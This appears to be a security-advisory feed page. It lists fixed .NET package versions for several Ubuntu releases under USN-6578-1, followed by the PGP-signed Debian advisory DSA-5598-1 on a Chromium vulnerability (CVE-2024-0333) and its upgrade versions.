Ubuntu 23.10:  
   aspnetcore-runtime-6.0          6.0.126-0ubuntu1~23.10.1  
   aspnetcore-runtime-7.0          7.0.115-0ubuntu1~23.10.1  
   aspnetcore-runtime-8.0          8.0.1-0ubuntu1~23.10.1  
   dotnet-host                     6.0.126-0ubuntu1~23.10.1  
   dotnet-host-7.0                 7.0.115-0ubuntu1~23.10.1  
   dotnet-host-8.0                 8.0.1-0ubuntu1~23.10.1  
   dotnet-hostfxr-6.0              6.0.126-0ubuntu1~23.10.1  
   dotnet-hostfxr-7.0              7.0.115-0ubuntu1~23.10.1  
   dotnet-hostfxr-8.0              8.0.1-0ubuntu1~23.10.1  
   dotnet-runtime-6.0              6.0.126-0ubuntu1~23.10.1  
   dotnet-runtime-7.0              7.0.115-0ubuntu1~23.10.1  
   dotnet-runtime-8.0              8.0.1-0ubuntu1~23.10.1  
   dotnet-sdk-6.0                  6.0.126-0ubuntu1~23.10.1  
   dotnet-sdk-7.0                  7.0.115-0ubuntu1~23.10.1  
   dotnet-sdk-8.0                  8.0.101-0ubuntu1~23.10.1  
   dotnet6                         6.0.126-0ubuntu1~23.10.1  
   dotnet7                         7.0.115-0ubuntu1~23.10.1  
   dotnet8                         8.0.101-8.0.1-0ubuntu1~23.10.1

Ubuntu 23.04:  
   aspnetcore-runtime-6.0          6.0.126-0ubuntu1~23.04.1  
   aspnetcore-runtime-7.0          7.0.115-0ubuntu1~23.04.1  
   dotnet-host                     6.0.126-0ubuntu1~23.04.1  
   dotnet-host-7.0                 7.0.115-0ubuntu1~23.04.1  
   dotnet-hostfxr-6.0              6.0.126-0ubuntu1~23.04.1  
   dotnet-hostfxr-7.0              7.0.115-0ubuntu1~23.04.1  
   dotnet-runtime-6.0              6.0.126-0ubuntu1~23.04.1  
   dotnet-runtime-7.0              7.0.115-0ubuntu1~23.04.1  
   dotnet-sdk-6.0                  6.0.126-0ubuntu1~23.04.1  
   dotnet-sdk-7.0                  7.0.115-0ubuntu1~23.04.1  
   dotnet6                         6.0.126-0ubuntu1~23.04.1  
   dotnet7                         7.0.115-0ubuntu1~23.04.1

Ubuntu 22.04 LTS:  
   aspnetcore-runtime-6.0          6.0.126-0ubuntu1~22.04.1  
   aspnetcore-runtime-7.0          7.0.115-0ubuntu1~22.04.1  
   dotnet-host                     6.0.126-0ubuntu1~22.04.1  
   dotnet-host-7.0                 7.0.115-0ubuntu1~22.04.1  
   dotnet-hostfxr-6.0              6.0.126-0ubuntu1~22.04.1  
   dotnet-hostfxr-7.0              7.0.115-0ubuntu1~22.04.1  
   dotnet-runtime-6.0              6.0.126-0ubuntu1~22.04.1  
   dotnet-runtime-7.0              7.0.115-0ubuntu1~22.04.1  
   dotnet-sdk-6.0                  6.0.126-0ubuntu1~22.04.1  
   dotnet-sdk-7.0                  7.0.115-0ubuntu1~22.04.1  
   dotnet6                         6.0.126-0ubuntu1~22.04.1  
   dotnet7                         7.0.115-0ubuntu1~22.04.1

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-6578-1  
   CVE-2024-0057, CVE-2024-21319

Package Information:  
https://launchpad.net/ubuntu/+source/dotnet6/6.0.126-0ubuntu1~23.10.1  
https://launchpad.net/ubuntu/+source/dotnet7/7.0.115-0ubuntu1~23.10.1  
https://launchpad.net/ubuntu/+source/dotnet8/8.0.101-8.0.1-0ubuntu1~23.10.1  
https://launchpad.net/ubuntu/+source/dotnet6/6.0.126-0ubuntu1~23.04.1  
https://launchpad.net/ubuntu/+source/dotnet7/7.0.115-0ubuntu1~23.04.1  
https://launchpad.net/ubuntu/+source/dotnet6/6.0.126-0ubuntu1~22.04.1  
https://launchpad.net/ubuntu/+source/dotnet7/7.0.115-0ubuntu1~22.04.1

Ubuntu Security Notice USN-6578-1

Debian Linux Security Advisory 5598-1 - A security issue was discovered in Chromium, which could result in the execution of arbitrary code, denial of service, or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5598-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonJanuary 10, 2024                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2024-0333A security issue was discovered in Chromium, which could resultin the execution of arbitrary code, denial of service, or informationdisclosure.For the oldstable distribution (bullseye), this problem has been fixedin version 120.0.6099.216-1~deb11u1. Note that chromium security supportfor the oldstable distribution is ending, and this is likely to be thelast release for it.For the stable distribution (bookworm), this problem has been fixed inversion 120.0.6099.216-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAmWe960ACgkQZF0CR8Nudjcx9Q//WvdPeou8hwSfeR7U6+5+WRW907xxrPCGebZi0d2LW0V3HYB0uIRAxPXjffZz0f3bgbEk81GDgNWXh91xaP7jmwJqvUT/vB4yhUZmEOBmn+svqUgLi973tab1naj91M01C04iQyqlbzjOQXiEFc6MFh9FDbUbmFX1lYByzQHOLcMD3VyPtdnBAJY9o+/6Aoz51bDaJbbV1I231aafG1wfcz5CSuNKpzDGzqeOyI4D0tChSfJN4NnjeQtNWnIzUP9ouQhcxkLAk5ToQmh7Xh/HT9bfgGeTiF283/Pz/ky2uM1A6J5x+Kt1OocwCinaXR0wLYl7LmhNcp/y2Nj+5XsjI2cutTAUfMQ75lsxoFgIzaoeoY1KgdiEbRZa3i6RzB7Nng7bFkp6Dn8PJDicr4+NGCcOIvYHDSu5lqj0vlE5b/LX1ghNzmYYmB/1FsafxYBAOctPwhW9DPNZJMRptWKoF1k3hn7J8PaMMLHgHHwsZdvDcSNoA5t9VL8/fLmC6U2fKsPliscUFTrmQiUNYorDn7KOJsdzMnxld02+YACYEvQg6wQXCB/Yhur9mRm7wK0CXnPKi8qdqDUgmmVXjJATEkEAnqENKvy15MCGgt1JZnDQd2eqRU4B4/Ui1Yic5sBt2Mfbwo1jxPj3aaCE/bW0ykqvXpN0/GyJsYeylKBC8XI==wTxO-----END PGP SIGNATURE-----

Tag

#dos